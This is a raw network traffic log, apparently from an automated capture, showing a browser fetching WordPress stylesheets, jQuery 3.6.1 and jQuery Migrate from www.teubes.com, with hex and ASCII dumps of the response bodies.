2025-03-17 12:02:27 UTC	8000	IN	Data Raw: 6e 2d 64 65 66 61 75 6c 74 5b 64 69 73 61 62 6c 65 64 5d 3a 61 63 74 69 76 65 2c 61 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 5b 64 69 73 61 62 6c 65 64 5d 3a 66 6f 63 75 73 2c 61 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 5b 64 69 73 61 62 6c 65 64 5d 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 2e 64 69 73 61 62 6c 65 64 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 2e 64 69 73 61 62 6c 65 64 2e 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 2e 64 69 73 61 62 6c 65 64 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 Data Ascii: n-default[disabled]:active,a.vc_btn-default[disabled]:focus,a.vc_btn-default[disabled]:hover,button.vc_btn-default.disabled,button.vc_btn-default.disabled.active,button.vc_btn-default.disabled:active,button.vc_btn-default.disabled:focus,button.vc_btn-defa
2025-03-17 12:02:27 UTC	8000	IN	Data Raw: 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 2e 64 69 73 61 62 6c 65 64 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 2e 64 69 73 61 62 6c 65 64 2e 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 2e 64 69 73 61 62 6c 65 64 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 5b 64 69 73 61 62 6c 65 64 5d 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 5b 64 69 73 61 62 6c 65 64 5d 2e 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 69 6e 66 6f 5b 64 69 73 61 62 6c 65 64 5d 3a Data Ascii: n.vc_btn-info.disabled,button.vc_btn-info.disabled.active,button.vc_btn-info.disabled:active,button.vc_btn-info.disabled:focus,button.vc_btn-info.disabled:hover,button.vc_btn-info[disabled],button.vc_btn-info[disabled].active,button.vc_btn-info[disabled]:
2025-03-17 12:02:27 UTC	8000	IN	Data Raw: 6c 6c 6f 6f 6e 2d 66 61 63 65 62 6f 6f 6b 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 72 69 67 68 74 20 63 65 6e 74 65 72 7d 2e 77 70 62 5f 62 61 6c 6c 6f 6f 6e 5f 74 77 69 74 74 65 72 20 69 2e 69 63 6f 6e 2c 6f 70 74 69 6f 6e 2e 77 70 62 5f 62 61 6c 6c 6f 6f 6e 5f 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 62 61 6c 6c 6f 6f 6e 2d 74 77 69 74 74 65 72 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 72 69 67 68 74 20 63 65 6e 74 65 72 7d 2e 77 70 62 5f 62 61 74 74 65 72 79 20 69 2e 69 63 6f 6e 2c 6f 70 74 69 6f 6e 2e 77 70 62 5f 62 61 74 74 65 72 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 62 61 74 74 65 72 79 2d 66 75 6c 6c Data Ascii: lloon-facebook.png) no-repeat right center}.wpb_balloon_twitter i.icon,option.wpb_balloon_twitter{background:url(../images/icons/balloon-twitter.png) no-repeat right center}.wpb_battery i.icon,option.wpb_battery{background:url(../images/icons/battery-full

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:27 UTC	565	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.1 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:28 UTC	298	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Dec 2022 08:08:50 GMT ETag: "15e54-5ef9d037b0915" Accept-Ranges: bytes Content-Length: 89684 Vary: Accept-Encoding Content-Type: application/javascript
2025-03-17 12:02:28 UTC	7894	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 74 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 74 29 26 26 65 2e 74 79 70 65 3d 3d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 65 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 21 31 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 3f 22 6c 61 62 65 6c 22 69 6e 20 65 3f 22 6c 61 62 65 6c 22 69 6e 20 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 74 3a 65 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 74 7c 7c 65 2e 69 73 44 69 73 61 62 6c 65 Data Ascii: odeName.toLowerCase();return("input"===t\|\|"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t\|\|e.isDisable
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 3d 76 21 3d 3d 6d 3f 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 3a 22 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 22 2c 63 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 78 26 26 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 70 3d 21 6e 26 26 21 78 2c 64 3d 21 31 3b 69 66 28 63 29 7b 69 66 28 76 29 7b 77 68 69 6c 65 28 6c 29 7b 61 3d 65 3b 77 68 69 6c 65 28 61 3d 61 5b 6c 5d 29 69 66 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 75 3d 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 Data Ascii: var r,i,o,a,s,u,l=v!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(v){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}i
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 29 26 26 72 2e 73 70 65 63 69 66 69 65 64 3f 72 2e 76 61 6c 75 65 3a 6e 75 6c 6c 7d 29 2c 73 65 7d 28 43 29 3b 53 2e 66 69 6e 64 3d 64 2c 53 2e 65 78 70 72 3d 64 2e 73 65 6c 65 63 74 6f 72 73 2c 53 2e 65 78 70 72 5b 22 3a 22 5d 3d 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 53 2e 75 6e 69 71 75 65 53 6f 72 74 3d 53 2e 75 6e 69 71 75 65 3d 64 2e 75 6e 69 71 75 65 53 6f 72 74 2c 53 2e 74 65 78 74 3d 64 2e 67 65 74 54 65 78 74 2c 53 2e 69 73 58 4d 4c 44 6f 63 3d 64 2e 69 73 58 4d 4c 2c 53 2e 63 6f 6e 74 61 69 6e 73 3d 64 2e 63 6f 6e 74 61 69 6e 73 2c 53 2e 65 73 63 61 70 65 53 65 6c 65 63 74 6f 72 3d 64 2e 65 73 63 61 70 65 3b 76 61 72 20 68 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 5b 5d 2c 69 3d 76 6f 69 64 20 30 21 3d 3d 6e 3b Data Ascii: )&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 24 29 2c 53 2e 72 65 61 64 79 28 29 7d 53 2e 66 6e 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 46 2e 74 68 65 6e 28 65 29 5b 22 63 61 74 63 68 22 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 2e 72 65 61 64 79 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 29 2c 74 68 69 73 7d 2c 53 2e 65 78 74 65 6e 64 28 7b 69 73 52 65 61 64 79 3a 21 31 2c 72 65 61 64 79 57 61 69 74 3a 31 2c 72 65 61 64 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 21 30 3d 3d 3d 65 3f 2d 2d 53 2e 72 65 61 64 79 57 61 69 74 3a 53 2e 69 73 52 65 61 64 79 29 7c 7c 28 53 2e 69 73 52 65 61 64 79 3d 21 30 29 21 3d 3d 65 26 26 30 3c 2d 2d 53 2e 72 65 61 64 79 57 61 69 74 7c 7c 46 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 45 2c 5b 53 Data Ascii: tener("load",$),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)\|\|(S.isReady=!0)!==e&&0<--S.readyWait\|\|F.resolveWith(E,[S
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 20 30 29 2c 74 29 45 65 28 65 2c 73 2c 6e 2c 72 2c 74 5b 73 5d 2c 6f 29 3b 72 65 74 75 72 6e 20 65 7d 69 66 28 6e 75 6c 6c 3d 3d 72 26 26 6e 75 6c 6c 3d 3d 69 3f 28 69 3d 6e 2c 72 3d 6e 3d 76 6f 69 64 20 30 29 3a 6e 75 6c 6c 3d 3d 69 26 26 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 28 69 3d 72 2c 72 3d 76 6f 69 64 20 30 29 3a 28 69 3d 72 2c 72 3d 6e 2c 6e 3d 76 6f 69 64 20 30 29 29 2c 21 31 3d 3d 3d 69 29 69 3d 54 65 3b 65 6c 73 65 20 69 66 28 21 69 29 72 65 74 75 72 6e 20 65 3b 72 65 74 75 72 6e 20 31 3d 3d 3d 6f 26 26 28 61 3d 69 2c 28 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 28 29 2e 6f 66 66 28 65 29 2c 61 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 67 75 69 64 3d 61 2e 67 75 69 Data Ascii: 0),t)Ee(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.gui
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 6e 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6e 2e 65 71 28 65 29 3b 68 26 26 28 72 5b 30 5d 3d 64 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2e 68 74 6d 6c 28 29 29 29 2c 48 65 28 74 2c 72 2c 69 2c 6f 29 7d 29 3b 69 66 28 66 26 26 28 74 3d 28 65 3d 78 65 28 72 2c 6e 5b 30 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 21 31 2c 6e 2c 6f 29 29 2e 66 69 72 73 74 43 68 69 6c 64 2c 31 3d 3d 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 74 29 2c 74 7c 7c 6f 29 29 7b 66 6f 72 28 73 3d 28 61 3d 53 2e 6d 61 70 28 79 65 28 65 2c 22 73 63 72 69 70 74 22 29 2c 44 65 29 29 2e 6c 65 6e 67 74 68 3b 63 3c 66 3b 63 2b 2b 29 75 3d 65 2c 63 21 3d 3d 70 26 26 28 75 3d 53 2e 63 6c 6f 6e 65 28 75 2c 21 30 2c 21 30 29 Data Ascii: n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t\|\|o)){for(s=(a=S.map(ye(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0)
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 69 3d 74 65 2e 65 78 65 63 28 6e 29 29 26 26 69 5b 31 5d 26 26 28 6e 3d 73 65 28 65 2c 74 2c 69 29 2c 6f 3d 22 6e 75 6d 62 65 72 22 29 2c 6e 75 6c 6c 21 3d 6e 26 26 6e 3d 3d 6e 26 26 28 22 6e 75 6d 62 65 72 22 21 3d 3d 6f 7c 7c 75 7c 7c 28 6e 2b 3d 69 26 26 69 5b 33 5d 7c 7c 28 53 2e 63 73 73 4e 75 6d 62 65 72 5b 73 5d 3f 22 22 3a 22 70 78 22 29 29 2c 76 2e 63 6c 65 61 72 43 6c 6f 6e 65 53 74 79 6c 65 7c 7c 22 22 21 3d 3d 6e 7c 7c 30 21 3d 3d 74 2e 69 6e 64 65 78 4f 66 28 22 62 61 63 6b 67 72 6f 75 6e 64 22 29 7c 7c 28 6c 5b 74 5d 3d 22 69 6e 68 65 72 69 74 22 29 2c 61 26 26 22 73 65 74 22 69 6e 20 61 26 26 76 6f 69 64 20 30 3d 3d 3d 28 6e 3d 61 2e 73 65 74 28 65 2c 6e 2c 72 29 29 7c 7c 28 75 3f 6c 2e 73 65 74 50 72 6f 70 65 72 74 79 28 74 2c 6e 29 3a 6c Data Ascii: i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o\|\|u\|\|(n+=i&&i[3]\|\|(S.cssNumber[s]?"":"px")),v.clearCloneStyle\|\|""!==n\|\|0!==t.indexOf("background")\|\|(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))\|\|(u?l.setProperty(t,n):l
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 61 6e 69 6d 2e 73 74 6f 70 28 6f 29 2c 65 3d 21 31 2c 6e 2e 73 70 6c 69 63 65 28 74 2c 31 29 29 3b 21 65 26 26 6f 7c 7c 53 2e 64 65 71 75 65 75 65 28 74 68 69 73 2c 69 29 7d 29 7d 2c 66 69 6e 69 73 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 31 21 3d 3d 61 26 26 28 61 3d 61 7c 7c 22 66 78 22 29 2c 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 3d 59 2e 67 65 74 28 74 68 69 73 29 2c 6e 3d 74 5b 61 2b 22 71 75 65 75 65 22 5d 2c 72 3d 74 5b 61 2b 22 71 75 65 75 65 48 6f 6f 6b 73 22 5d 2c 69 3d 53 2e 74 69 6d 65 72 73 2c 6f 3d 6e 3f 6e 2e 6c 65 6e 67 74 68 3a 30 3b 66 6f 72 28 74 2e 66 69 6e 69 73 68 3d 21 30 2c 53 2e 71 75 65 75 65 28 74 68 69 73 2c 61 2c 5b 5d 29 2c 72 26 26 72 2e 73 74 6f 70 26 26 72 Data Ascii: anim.stop(o),e=!1,n.splice(t,1));!e&&o\|\|S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a\|\|"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r
2025-03-17 12:02:28 UTC	8000	IN	Data Raw: 75 6c 74 26 26 21 31 21 3d 3d 63 2e 5f 64 65 66 61 75 6c 74 2e 61 70 70 6c 79 28 70 2e 70 6f 70 28 29 2c 74 29 7c 7c 21 56 28 6e 29 7c 7c 75 26 26 6d 28 6e 5b 64 5d 29 26 26 21 78 28 6e 29 26 26 28 28 61 3d 6e 5b 75 5d 29 26 26 28 6e 5b 75 5d 3d 6e 75 6c 6c 29 2c 53 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 65 64 3d 64 2c 65 2e 69 73 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 28 29 26 26 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 64 2c 77 74 29 2c 6e 5b 64 5d 28 29 2c 65 2e 69 73 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 28 29 26 26 66 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 64 2c 77 74 29 2c 53 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 65 64 3d 76 6f 69 64 20 30 2c 61 26 26 28 6e 5b 75 5d 3d 61 Data Ascii: ult&&!1!==c._default.apply(p.pop(),t)\|\|!V(n)\|\|u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,wt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,wt),S.event.triggered=void 0,a&&(n[u]=a

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:27 UTC	573	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:28 UTC	297	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 18 Nov 2021 08:00:02 GMT ETag: "2bd8-5d10b8bb41b8b" Accept-Ranges: bytes Content-Length: 11224 Vary: Accept-Encoding Content-Type: application/javascript
2025-03-17 12:02:28 UTC	7895	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r
2025-03-17 12:02:28 UTC	3329	IN	Data Raw: 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 26 26 75 28 22 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 6c 6f 61 64 27 2e 2e 2e 29 20 63 61 6c 6c 65 64 20 61 66 74 65 72 20 6c 6f 61 64 20 65 76 65 6e 74 20 6f 63 63 75 72 72 65 64 22 29 2c 48 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 73 2e 65 61 63 68 28 5b 22 6c 6f 61 64 22 2c 22 75 6e 6c 6f 61 64 22 2c 22 65 72 72 6f 72 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 66 6e 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 30 29 3b 72 65 74 75 72 6e 22 6c 6f 61 64 22 3d 3d 3d 74 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f Data Ascii: ument.readyState&&u("jQuery(window).on('load'...) called after load event occurred"),H.apply(this,arguments)},s.each(["load","unload","error"],function(e,t){s.fn[t]=function(){var e=Array.prototype.slice.call(arguments,0);return"load"===t&&"string"==typeo

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:28 UTC	625	OUT	GET /wp-content/plugins/js_composer_old/assets/lib/vc_carousel/css/vc_carousel.min.css?ver=6.2.0 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:29 UTC	283	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 20 Jul 2020 11:08:06 GMT ETag: "27e3-5aadd856b1421" Accept-Ranges: bytes Content-Length: 10211 Vary: Accept-Encoding Content-Type: text/css
2025-03-17 12:02:29 UTC	7909	IN	Data Raw: 2e 76 63 5f 69 6d 61 67 65 73 5f 63 61 72 6f 75 73 65 6c 20 2e 76 63 5f 63 61 72 6f 75 73 65 6c 2d 69 6e 64 69 63 61 74 6f 72 73 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 6c 65 66 74 3a 35 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 35 3b 77 69 64 74 68 3a 36 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 33 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 76 63 5f 69 6d 61 67 65 73 5f 63 61 72 6f 75 73 65 6c 20 2e 76 63 5f 63 61 72 6f 75 73 65 6c 2d 69 6e 64 69 63 61 74 6f 72 73 20 6c 69 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 70 78 3b 68 65 69 67 68 74 Data Ascii: .vc_images_carousel .vc_carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;margin-left:-30%;padding-left:0;list-style:none;text-align:center}.vc_images_carousel .vc_carousel-indicators li{display:inline-block;width:10px;height
2025-03-17 12:02:29 UTC	2302	IN	Data Raw: 6e 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 29 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 76 63 5f 63 61 72 6f 75 73 65 6c 20 2e 76 63 5f 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 3a 66 6f 63 75 73 2c 2e 76 63 5f 63 61 72 6f 75 73 65 6c 20 2e 76 63 5f 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 2e 39 7d 2e 76 63 5f 63 61 72 6f 75 73 65 6c 20 2e 76 63 5f 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2e 76 63 5f 72 69 67 68 74 7b 6c 65 66 74 3a 61 75 74 6f 3b 72 69 67 68 Data Ascii: n:center;text-shadow:0 1px 2px rgba(0,0,0,.6);-webkit-tap-highlight-color:transparent}.vc_carousel .vc_carousel-control:focus,.vc_carousel .vc_carousel-control:hover{text-decoration:none;opacity:.9}.vc_carousel .vc_carousel-control.vc_right{left:auto;righ

Timestamp	Bytes transferred	Direction	Data
